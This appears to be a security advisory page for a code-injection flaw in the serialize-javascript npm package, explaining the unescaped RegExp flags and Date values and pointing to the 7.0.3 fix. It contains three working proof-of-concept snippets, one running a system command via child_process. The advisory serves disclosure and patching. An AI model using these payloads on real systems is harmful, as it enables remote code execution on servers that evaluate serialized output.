GHSA-5c6j-r48x-rmvq: Code Injection

Published Feb 28, 2026
·
Updated

Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.

javascript const serialize = require('serialize-javascript'); // Create an object that passes instanceof RegExp with a spoofed .flags const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, 'source', { get: () => 'x' }); Object.defineProperty(fakeRegex, 'flags', { get: () => '"+(global.PWNED="CODEINJECTIONVIAFLAGS")+"' }); fakeRegex.toJSON = function() { return '@placeholder'; }; const output = serialize({ re: fakeRegex }); // Output: {"re":new RegExp("x", ""+(global.PWNED="CODEINJECTIONVIAFLAGS")+"")} let obj; eval('obj = ' + output); console.log(global.PWNED); // "CODEINJECTIONVIAFLAGS" — injected code executed! #h2. PoC 2: Code Injection via Date.toISOString()

javascript const serialize = require('serialize-javascript'); const fakeDate = Object.create(Date.prototype); fakeDate.toISOString = function() { return '"+(global.DATEPWNED="DATEINJECTION")+"'; }; fakeDate.toJSON = function() { return '2024-01-01'; }; const output = serialize({ d: fakeDate }); // Output: {"d":new Date(""+(global.DATEPWNED="DATEINJECTION")+"")} eval('obj = ' + output); console.log(global.DATEPWNED); // "DATEINJECTION" — injected code executed! #h2. PoC 3: Remote Code Execution

javascript const serialize = require('serialize-javascript'); const rceRegex = Object.create(RegExp.prototype); Object.defineProperty(rceRegex, 'source', { get: () => 'x' }); Object.defineProperty(rceRegex, 'flags', { get: () => '"+require("childprocess").execSync("id").toString()+"' }); rceRegex.toJSON = function() { return '@rce'; }; const output = serialize({ re: rceRegex }); // Output: {"re":new RegExp("x", ""+require("childprocess").execSync("id").toString()+"")} // When eval'd on a Node.js server, executes the "id" system command

Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

Affected Software

1 affected componentFixes available
npm/serialize-javascript<=7.0.2
7.0.3

Event History

Feb 28, 2026
Advisory Published
via GitHub·02:50 AM
Data Sourced
via GitHub·02:50 AM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of GHSA-5c6j-r48x-rmvq?

The severity of GHSA-5c6j-r48x-rmvq is critical due to the code injection vulnerability.

2

How do I fix GHSA-5c6j-r48x-rmvq?

To fix GHSA-5c6j-r48x-rmvq, update the serialize-javascript package to version 7.0.3 or later.

3

Which versions of serialize-javascript are affected by GHSA-5c6j-r48x-rmvq?

Versions of serialize-javascript that are affected by GHSA-5c6j-r48x-rmvq are those up to and including 7.0.2.

4

What type of vulnerability is GHSA-5c6j-r48x-rmvq?

GHSA-5c6j-r48x-rmvq is a code injection vulnerability that allows for unsanitized execution of code.

5

Is there a known fix for GHSA-5c6j-r48x-rmvq?

Yes, the fix for GHSA-5c6j-r48x-rmvq is provided in version 7.0.3 of the serialize-javascript package.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203